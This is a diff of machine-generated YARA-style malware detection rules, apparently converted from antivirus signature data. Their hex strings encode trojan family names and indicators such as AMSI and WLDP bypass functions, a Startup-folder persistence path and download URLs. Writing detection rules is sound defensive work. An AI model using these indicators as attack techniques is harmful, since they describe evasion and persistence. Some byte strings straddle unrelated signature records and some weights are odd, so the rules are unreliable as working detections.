"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 31 34 21 4d 54 42 00 01 00 22 81 01 00 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 00 01 00 08 81 01 00 43 53 4a } //18467 $a_00_1 = {01 00 07 81 01 00 58 43 43 56 56 00 01 00 0d 81 01 48 61 73 68 41 6c 67 6f 72 69 74 68 6d 01 00 1e 81 01 54 72 69 70 6c 65 44 45 53 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 } //17230 - $a_01_2 = {24 36 62 66 66 37 33 33 32 2d 31 31 62 34 2d 34 37 65 61 2d 39 63 63 36 2d 32 36 64 32 39 65 65 34 33 32 34 36 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 00 00 78 fb 00 00 08 00 08 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 79 6e 6f 6f 6e 2e 53 53 4d 41 33 32 21 4d 54 } //9472 - $a_00_3 = {0f 80 01 } //66 - $a_39_4 = {62 62 75 72 77 75 35 63 76 77 02 00 0d 80 01 5c 69 65 64 6a 78 6f 6a 63 2e 64 6c 6c 03 00 0c 80 01 36 6b 72 6d 7a 37 76 30 72 36 62 78 02 00 0f 80 01 5c 6d 66 } //13685 - $a_6a_5 = {69 73 78 2e 64 6c 6c 03 00 0d 80 01 67 79 70 79 64 6d 72 65 36 78 78 39 79 02 00 0a 80 01 5c 65 74 71 76 62 2e 64 6c 6c 03 00 0b 80 01 72 30 76 31 74 77 78 38 68 35 63 02 00 0b 80 01 5c 6d 61 67 79 68 66 2e 64 6c 6c 01 00 0d 80 01 49 49 44 46 72 6f 6d 53 74 72 69 6e 67 01 00 11 80 01 44 6c 6c 52 65 67 } //29805 - $a_65_6 = {53 65 72 76 65 72 01 00 13 80 01 44 6c 6c 55 6e 72 65 67 69 73 74 65 72 53 65 72 76 65 72 00 00 78 fb 00 00 09 00 09 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 52 52 41 31 32 31 31 5f 32 21 4d 54 42 00 05 00 52 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 38 00 34 00 2e 00 32 } //29545 + $a_01_2 = {24 36 62 66 66 37 33 33 32 2d 31 31 62 34 2d 34 37 65 61 2d 39 63 63 36 2d 32 36 64 32 39 65 65 34 33 32 34 36 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 00 00 78 fb 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 4c 30 31 21 4d 54 } //9472 + $a_00_3 = {14 } //66 + $a_75_4 = {65 72 70 72 6f 67 72 61 6d 6d 72 65 72 2e 73 6d 6b 01 00 19 81 01 53 75 70 70 6c 65 72 69 6e 67 73 73 79 73 74 65 6d 65 72 36 32 2e 70 79 72 01 00 14 81 01 66 6f 72 72 65 74 6e 69 6e 67 73 6e 61 76 6e 73 2e 74 78 74 01 00 14 81 01 5c 62 65 72 75 66 } //385 + $a_72_5 = {6f 74 65 74 73 2e 67 69 66 01 00 11 81 01 72 69 67 6f 6c 65 74 20 69 74 61 6c 69 63 69 73 65 01 00 0e 81 01 73 75 62 66 69 78 20 62 65 61 72 64 69 65 01 00 12 81 01 73 6e 64 65 72 6c 65 6d 6d 65 6c 73 65 72 2e 65 78 65 01 00 1e 81 01 66 6f 72 6d 69 6e 64 73 6b 65 72 20 6e 6f 6e 72 61 63 69 61 6c 20 61 } //30323 + $a_69_6 = {69 6e 00 00 78 fb 00 00 08 00 08 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 79 6e 6f 6f 6e 2e 53 53 4d 41 33 32 21 4d 54 42 00 03 00 0f 80 01 75 35 35 39 78 62 62 75 72 77 75 35 63 76 77 02 00 0d 80 01 5c 69 65 64 6a 78 6f 6a 63 2e 64 6c 6c 03 00 0c 80 01 36 6b 72 6d 7a 37 76 30 } //25458 + $a_78_7 = {00 0f 80 01 5c 6d 66 6d 74 65 6a 66 69 73 78 2e 64 6c 6c 03 00 0d 80 01 67 79 70 79 64 6d 72 65 36 78 78 39 79 02 00 0a 80 01 5c 65 74 71 76 62 2e 64 6c 6c 03 00 0b 80 01 72 30 76 31 74 77 78 38 68 35 63 02 00 0b 80 01 5c 6d 61 67 79 68 66 2e 64 6c 6c 01 00 0d 80 01 49 49 44 46 72 6f 6d 53 74 } //13938 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*17230+(#a_01_2 & 1)*9472+(#a_00_3 & 1)*66+(#a_39_4 & 1)*13685+(#a_6a_5 & 1)*29805+(#a_65_6 & 1)*29545) >=8 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*17230+(#a_01_2 & 1)*9472+(#a_00_3 & 1)*66+(#a_75_4 & 1)*385+(#a_72_5 & 1)*30323+(#a_69_6 & 1)*25458+(#a_78_7 & 1)*13938) >=8 } -rule _InfrastructureShared_15981{ +rule _InfrastructureShared_17030{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 4c 30 31 21 4d 54 42 00 01 00 14 81 01 53 75 70 65 72 70 72 6f 67 72 61 6d 6d 72 65 72 2e 73 6d 6b 01 00 19 81 01 53 75 70 70 6c 65 72 69 6e 67 73 73 79 73 74 65 6d 65 72 36 } //18467 + $a_79_1 = {01 00 14 81 01 66 6f 72 72 65 74 6e 69 6e 67 73 6e 61 76 6e 73 2e 74 78 74 01 00 14 81 01 5c 62 65 72 75 66 73 76 65 72 62 6f 74 65 74 73 2e 67 69 66 01 00 11 81 01 72 69 67 6f 6c 65 74 20 69 74 61 6c 69 63 69 73 65 01 00 0e 81 01 73 75 62 66 69 78 20 62 65 61 72 64 69 65 01 00 12 81 01 73 6e 64 65 72 6c 65 6d 6d 65 6c 73 65 72 2e 65 } //11826 + $a_00_2 = {1e } //25976 + $a_6f_3 = {6d 69 6e 64 73 6b 65 72 20 6e 6f 6e 72 61 63 69 61 6c 20 61 72 63 68 69 70 69 6e 00 00 78 fb 00 00 08 00 08 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 79 6e 6f 6f 6e 2e 53 53 4d 41 33 32 21 4d 54 42 00 03 00 0f 80 01 75 35 35 39 78 62 62 75 72 77 75 35 63 76 77 02 00 0d 80 } //385 + $a_65_4 = {6a 78 6f 6a 63 2e 64 6c 6c 03 00 0c 80 01 36 6b 72 6d 7a 37 76 30 72 36 62 78 02 00 0f 80 01 5c 6d 66 6d 74 65 6a 66 69 73 78 2e 64 6c 6c 03 00 0d 80 01 67 79 70 79 64 6d 72 65 36 78 78 39 79 02 00 0a 80 01 5c 65 74 71 76 62 2e 64 6c 6c 03 00 0b 80 01 72 30 76 31 74 77 78 38 68 35 63 02 00 0b 80 01 5c 6d 61 67 79 } //23553 + $a_64_5 = {6c 01 00 0d 80 01 49 49 44 46 72 6f 6d 53 74 72 69 6e 67 01 00 11 80 01 44 6c 6c 52 65 67 69 73 74 65 72 53 65 72 76 65 72 01 00 13 80 01 } //26216 + $a_55_6 = {72 65 67 69 73 74 65 72 53 65 72 76 65 72 00 00 78 fb 00 00 09 00 09 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 52 52 41 31 32 31 31 5f 32 21 4d 54 42 00 05 00 52 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 38 00 34 00 2e 00 32 00 35 00 32 00 2e 00 31 } //27716 + condition: + ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*11826+(#a_00_2 & 1)*25976+(#a_6f_3 & 1)*385+(#a_65_4 & 1)*23553+(#a_64_5 & 1)*26216+(#a_55_6 & 1)*27716) >=8 + +} +rule _InfrastructureShared_17031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0b 00 21 " @@ -186850,7 +199363,7 @@ rule _InfrastructureShared_15981{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*29232+(#a_01_2 & 1)*2816+(#a_2f_3 & 1)*18771+(#a_00_5 & 1)*111+(#a_73_6 & 1)*21038+(#a_68_7 & 1)*-32710+(#a_2f_8 & 1)*29552+(#a_39_9 & 1)*14179+(#a_61_10 & 1)*12645) >=8 } -rule _InfrastructureShared_15982{ +rule _InfrastructureShared_17032{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 06 00 21 " @@ -186865,7 +199378,7 @@ rule _InfrastructureShared_15982{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*57+(#a_01_2 & 1)*25954+(#a_4d_3 & 1)*28257+(#a_68_4 & 1)*-32710+(#a_2f_5 & 1)*29552) >=9 } -rule _InfrastructureShared_15983{ +rule _InfrastructureShared_17033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 08 00 21 " @@ -186882,7 +199395,7 @@ rule _InfrastructureShared_15983{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*26980+(#a_37_2 & 1)*24929+(#a_6e_3 & 1)*27247+(#a_01_4 & 1)*4352+(#a_fb_5 & 1)*0+(#a_43_6 & 1)*-32497+(#a_45_7 & 1)*29793) >=9 } -rule _InfrastructureShared_15984{ +rule _InfrastructureShared_17034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 0b 00 21 " @@ -186901,7 +199414,7 @@ rule _InfrastructureShared_15984{ ((#a_54_0 & 1)*18467+(#a_71_1 & 1)*30835+(#a_6c_2 & 1)*11882+(#a_00_3 & 1)*10+(#a_3a_4 & 1)*24938+(#a_74_5 & 1)*31090+(#a_00_7 & 1)*0+(#a_6f_8 & 1)*21562+(#a_67_9 & 1)*27749+(#a_6e_10 & 1)*26994) >=9 } -rule _InfrastructureShared_15985{ +rule _InfrastructureShared_17035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -186920,7 +199433,7 @@ rule _InfrastructureShared_15985{ ((#a_54_0 & 1)*18467+(#a_36_1 & 1)*29537+(#a_01_2 & 1)*1+(#a_fb_3 & 1)*0+(#a_01_4 & 1)*26724+(#a_62_5 & 1)*27748+(#a_81_6 & 1)*4864+(#a_85_7 & 1)*144+(#a_90_8 & 1)*23117+(#a_63_9 & 1)*18490) >=10 } -rule _InfrastructureShared_15986{ +rule _InfrastructureShared_17036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -186938,7 +199451,7 @@ rule _InfrastructureShared_15986{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*29742+(#a_69_2 & 1)*29550+(#a_3a_3 & 1)*24938+(#a_81_5 & 1)*4864+(#a_85_6 & 1)*144+(#a_90_7 & 1)*23117+(#a_6c_8 & 1)*28270+(#a_6e_9 & 1)*29743) >=10 } -rule _InfrastructureShared_15987{ +rule _InfrastructureShared_17037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 0a 00 21 " @@ -186954,7 +199467,7 @@ rule _InfrastructureShared_15987{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-28582+(#a_00_5 & 1)*200+(#a_74_6 & 1)*28771+(#a_65_7 & 1)*24933+(#a_fc_8 & 1)*30789+(#a_10_9 & 1)*6258) >=21 } -rule _InfrastructureShared_15988{ +rule _InfrastructureShared_17038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 04 00 21 " @@ -186967,7 +199480,7 @@ rule _InfrastructureShared_15988{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25971+(#a_6c_2 & 1)*305+(#a_6f_3 & 1)*29555) >=200 } -rule _InfrastructureShared_15989{ +rule _InfrastructureShared_17039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffd2 00 ffffffd2 00 08 00 21 " @@ -186983,7 +199496,7 @@ rule _InfrastructureShared_15989{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*120+(#a_61_2 & 1)*25972+(#a_00_3 & 1)*1+(#a_77_4 & 1)*19491+(#a_00_6 & 1)*46+(#a_00_7 & 1)*97) >=210 } -rule _InfrastructureShared_15990{ +rule _InfrastructureShared_17040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -186993,7 +199506,7 @@ rule _InfrastructureShared_15990{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_15991{ +rule _InfrastructureShared_17041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -187004,7 +199517,7 @@ rule _InfrastructureShared_15991{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*52) >=1 } -rule _InfrastructureShared_15992{ +rule _InfrastructureShared_17042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -187016,7 +199529,7 @@ rule _InfrastructureShared_15992{ ((#a_54_0 & 1)*18467+(#a_ff_1 & 1)*400+(#a_fc_2 & 1)*-29888) >=1 } -rule _InfrastructureShared_15993{ +rule _InfrastructureShared_17043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -187029,7 +199542,7 @@ rule _InfrastructureShared_15993{ ((#a_46_0 & 1)*16675+(#a_05_1 & 1)*-28672+(#a_02_2 & 1)*-15107+(#a_64_3 & 1)*17252) >=2 } -rule _InfrastructureShared_15994{ +rule _InfrastructureShared_17044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -187041,7 +199554,7 @@ rule _InfrastructureShared_15994{ ((#a_4c_0 & 1)*21539+(#a_53_2 & 1)*27136+(#a_68_3 & 1)*0) >=2 } -rule _InfrastructureShared_15995{ +rule _InfrastructureShared_17045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -187057,7 +199570,7 @@ rule _InfrastructureShared_15995{ ((#a_54_0 & 1)*18467+(#a_fe_1 & 1)*-31290+(#a_ff_2 & 1)*-461+(#a_01_3 & 1)*-28615+(#a_2d_4 & 1)*23085+(#a_2d_5 & 1)*2305+(#a_69_6 & 1)*28524) >=2 } -rule _InfrastructureShared_15996{ +rule _InfrastructureShared_17046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -187068,7 +199581,7 @@ rule _InfrastructureShared_15996{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11617) >=3 } -rule _InfrastructureShared_15997{ +rule _InfrastructureShared_17047{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -187080,7 +199593,7 @@ rule _InfrastructureShared_15997{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*11630+(#a_00_2 & 1)*111) >=3 } -rule _InfrastructureShared_15998{ +rule _InfrastructureShared_17048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -187090,7 +199603,7 @@ rule _InfrastructureShared_15998{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15999{ +rule _InfrastructureShared_17049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -187102,7 +199615,7 @@ rule _InfrastructureShared_15999{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*102+(#a_00_3 & 1)*144) >=4 } -rule _InfrastructureShared_16000{ +rule _InfrastructureShared_17050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -187115,7 +199628,7 @@ rule _InfrastructureShared_16000{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*281+(#a_19_2 & 1)*1+(#a_00_3 & 1)*30720) >=4 } -rule _InfrastructureShared_16001{ +rule _InfrastructureShared_17051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -187127,7 +199640,7 @@ rule _InfrastructureShared_16001{ ((#a_6c_0 & 1)*16675+(#a_6e_1 & 1)*28496+(#a_00_2 & 1)*46) >=4 } -rule _InfrastructureShared_16002{ +rule _InfrastructureShared_17052{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -187137,7 +199650,7 @@ rule _InfrastructureShared_16002{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_16003{ +rule _InfrastructureShared_17053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -187149,7 +199662,7 @@ rule _InfrastructureShared_16003{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*0+(#a_72_2 & 1)*1792) >=4 } -rule _InfrastructureShared_16004{ +rule _InfrastructureShared_17054{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -187162,22 +199675,35 @@ rule _InfrastructureShared_16004{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*106+(#a_00_2 & 1)*109+(#a_52_3 & 1)*21320) >=4 } -rule _InfrastructureShared_16005{ +rule _InfrastructureShared_17055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " strings : $a_54_0 = {3a 47 61 6d 65 6e 65 74 2e 52 55 2e 41 31 00 02 00 1f 80 01 70 3a 2f 2f 67 6f 2e 67 61 6d 65 6e 65 74 2e 72 75 2f 61 2f 31 39 2f 32 32 31 2f 69 6e 73 74 01 00 21 80 01 3a 2f 2f 66 73 30 2e 67 61 6d 65 6e 65 74 2e 72 75 2f 69 6e 73 74 61 6c 6c 65 72 } //18467 $a_67_1 = {61 01 00 20 80 01 2f 70 6c 61 74 66 6f 72 6d 2f 6c 69 76 65 2f 67 61 6d 65 6e 65 74 5f 69 6e 6e 65 72 2e 65 78 65 01 00 2a 00 6d 65 74 68 6f 64 3d 6d 61 72 6b 65 74 69 6e 67 2e 73 65 74 49 6e 73 74 61 6c 6c 65 72 53 74 65 70 26 69 6e 73 74 4b 65 79 3d 01 00 1e 00 73 3a 2f 2f 67 6e 6c 6f 67 69 6e 2e 72 75 2f 3f 63 72 65 64 65 6e 74 69 61 } //12147 - $a_79_2 = {01 00 1c 00 53 46 64 4a 52 48 78 56 54 6c 4e 56 55 46 42 50 55 6c 52 46 52 45 39 54 66 41 3d 3d 00 00 78 fc 00 00 05 00 05 00 05 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 57 6f 76 64 6e 75 74 2e 44 00 01 00 26 01 6f 6c 65 33 32 3b 6f 6c 65 61 75 74 33 32 3b 77 69 6e 69 6e 65 74 3b 6d 73 63 6f 72 65 65 3b } //27500 - $a_6c_3 = {33 32 01 00 16 03 61 6d 73 69 00 90 02 08 63 6c 72 00 90 02 08 77 6c 64 70 00 90 00 01 00 39 03 57 6c 64 70 51 75 65 72 79 44 79 6e 61 6d 69 63 43 6f 64 65 54 72 75 73 74 00 90 02 10 57 6c 64 70 49 73 43 6c 61 73 73 49 6e 41 70 70 72 6f 76 65 64 4c 69 73 74 00 90 00 01 00 35 03 41 6d 73 69 49 6e 69 74 } //26739 - $a_69_4 = {65 00 90 02 08 41 6d 73 69 53 63 61 6e 42 75 66 66 65 72 00 90 02 08 41 6d 73 69 53 63 61 6e 53 74 72 69 6e 67 00 90 00 01 00 20 01 2f cb 3a ab d2 11 9c 40 00 c0 4f a3 0a 3e 22 67 2f cb 3a ab d2 11 9c 40 00 c0 4f a3 0a 3e dc 96 00 00 78 fc 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 } //24937 - $a_54_5 = {73 6c 61 2e 44 43 48 21 4d 54 42 00 01 00 34 01 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 52 00 65 00 66 00 6c 00 65 00 63 00 74 00 69 00 6f 00 6e 00 2e 00 41 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 01 00 1e 01 54 72 69 70 6c 65 44 45 53 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 09 01 00 47 65 74 54 79 70 65 00 01 } //28261 + $a_79_2 = {01 00 1c 00 53 46 64 4a 52 48 78 56 54 6c 4e 56 55 46 42 50 55 6c 52 46 52 45 39 54 66 41 3d 3d 00 00 78 fc 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 68 72 6f 75 64 44 6f 6f 72 2e 41 21 64 68 61 00 01 00 3d 81 01 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c } //27500 + $a_72_3 = {73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 53 74 61 72 74 20 4d 65 6e 75 5c 50 72 6f 67 72 61 6d 73 5c 53 74 61 72 74 75 70 01 00 46 01 53 00 45 00 4c 00 45 00 43 00 54 00 20 00 2a 00 20 00 46 00 52 00 4f 00 4d 00 20 00 57 00 69 00 6e 00 33 00 32 00 5f 00 4f 00 70 00 65 00 72 00 61 00 74 00 69 00 6e } //26957 + $a_00_5 = {74 00 65 00 6d 00 01 00 1b 81 01 43 3a 5c 57 69 6e 64 6f 77 73 5c 53 79 73 74 65 6d 33 32 5c 63 6d 64 2e 65 78 65 01 00 0e 01 30 20 5b 5b 3a 67 72 61 70 68 3a 5d 5d 2b 01 00 0e 01 31 20 5b 5b 3a 67 72 61 70 68 3a 5d 5d 2b 00 00 78 fc 00 00 05 00 05 00 05 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 57 6f 76 64 6e 75 74 2e 44 00 01 00 26 01 6f 6c 65 } //121 condition: - ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*12147+(#a_79_2 & 1)*27500+(#a_6c_3 & 1)*26739+(#a_69_4 & 1)*24937+(#a_54_5 & 1)*28261) >=4 + ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*12147+(#a_79_2 & 1)*27500+(#a_72_3 & 1)*26957+(#a_00_5 & 1)*121) >=4 } -rule _InfrastructureShared_16006{ +rule _InfrastructureShared_17056{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 68 72 6f 75 64 44 6f 6f 72 2e 41 21 64 68 61 00 01 00 3d 81 01 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 53 74 61 72 74 20 4d } //16675 + $a_5c_1 = {72 6f 67 72 61 6d 73 5c 53 74 61 72 74 75 70 01 00 46 01 53 00 45 00 4c 00 45 00 43 00 54 00 20 00 2a 00 20 00 46 00 52 00 4f 00 4d 00 20 00 57 00 69 00 6e 00 33 00 32 00 5f 00 4f 00 70 00 65 00 72 00 61 00 74 00 69 00 6e 00 67 00 53 00 79 00 73 00 74 00 65 00 6d 00 01 00 1b 81 01 43 3a 5c 57 69 6e 64 6f 77 73 5c 53 79 73 74 65 6d 33 32 5c 63 6d 64 } //28261 + $a_65_2 = {00 0e 01 30 20 5b 5b 3a 67 72 61 70 68 3a 5d 5d 2b 01 00 0e 01 31 20 5b 5b 3a 67 72 61 70 68 3a 5d 5d 2b 00 00 78 fc 00 00 05 00 05 00 05 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 57 6f 76 64 6e 75 74 2e 44 00 01 00 26 01 6f 6c 65 33 32 3b 6f 6c 65 61 75 74 33 32 3b 77 69 6e 69 6e 65 74 3b 6d 73 63 6f 72 65 65 3b 73 68 65 6c 6c 33 32 01 00 16 03 61 6d 73 69 00 } //25902 + $a_63_3 = {72 00 90 02 08 77 6c 64 } //656 + $a_00_4 = {01 00 39 03 57 6c 64 70 51 75 65 72 79 44 79 6e 61 6d 69 63 43 6f 64 65 54 72 75 73 74 00 90 02 10 57 6c 64 70 49 73 43 6c 61 73 73 49 6e 41 70 70 72 6f 76 65 64 4c 69 73 74 00 90 00 01 00 35 03 41 6d 73 69 49 6e 69 74 69 61 6c 69 7a 65 00 90 02 08 41 6d 73 69 53 63 61 6e 42 75 66 66 65 72 00 90 02 08 41 6d 73 69 53 63 61 6e 53 74 72 69 6e 67 00 90 00 01 00 20 01 2f cb 3a ab d2 11 9c 40 00 c0 4f a3 0a 3e 22 67 2f cb 3a ab d2 11 } //112 + condition: + ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*28261+(#a_65_2 & 1)*25902+(#a_63_3 & 1)*656+(#a_00_4 & 1)*112) >=5 + +} +rule _InfrastructureShared_17057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -187191,7 +199717,7 @@ rule _InfrastructureShared_16006{ ((#a_46_0 & 1)*21283+(#a_64_1 & 1)*30472+(#a_6e_2 & 1)*25427+(#a_00_3 & 1)*83+(#a_00_4 & 1)*3584) >=5 } -rule _InfrastructureShared_16007{ +rule _InfrastructureShared_17058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -187205,7 +199731,7 @@ rule _InfrastructureShared_16007{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*98+(#a_07_3 & 1)*769+(#a_03_4 & 1)*-28561+(#a_01_5 & 1)*-8947) >=6 } -rule _InfrastructureShared_16008{ +rule _InfrastructureShared_17059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -187220,7 +199746,7 @@ rule _InfrastructureShared_16008{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*28482+(#a_31_2 & 1)*11571+(#a_6f_3 & 1)*21562+(#a_00_4 & 1)*114+(#a_72_5 & 1)*21359) >=6 } -rule _InfrastructureShared_16009{ +rule _InfrastructureShared_17060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -187235,7 +199761,7 @@ rule _InfrastructureShared_16009{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*97+(#a_63_2 & 1)*25649+(#a_74_3 & 1)*31090+(#a_73_4 & 1)*25966+(#a_01_5 & 1)*30836) >=6 } -rule _InfrastructureShared_16010{ +rule _InfrastructureShared_17061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -187250,7 +199776,7 @@ rule _InfrastructureShared_16010{ ((#a_54_0 & 1)*18467+(#a_78_1 & 1)*385+(#a_2e_2 & 1)*29793+(#a_02_3 & 1)*23328+(#a_64_4 & 1)*29795+(#a_20_5 & 1)*25971) >=6 } -rule _InfrastructureShared_16011{ +rule _InfrastructureShared_17062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -187267,7 +199793,7 @@ rule _InfrastructureShared_16011{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*28767+(#a_6d_2 & 1)*28787+(#a_74_3 & 1)*29550+(#a_5c_4 & 1)*29797+(#a_41_5 & 1)*11873+(#a_01_6 & 1)*8704+(#a_00_7 & 1)*28265) >=6 } -rule _InfrastructureShared_16012{ +rule _InfrastructureShared_17063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -187283,7 +199809,7 @@ rule _InfrastructureShared_16012{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_fc_6 & 1)*0) >=7 } -rule _InfrastructureShared_16013{ +rule _InfrastructureShared_17064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 08 00 21 " @@ -187299,7 +199825,7 @@ rule _InfrastructureShared_16013{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*30060+(#a_40_2 & 1)*16502+(#a_2d_3 & 1)*13112+(#a_69_4 & 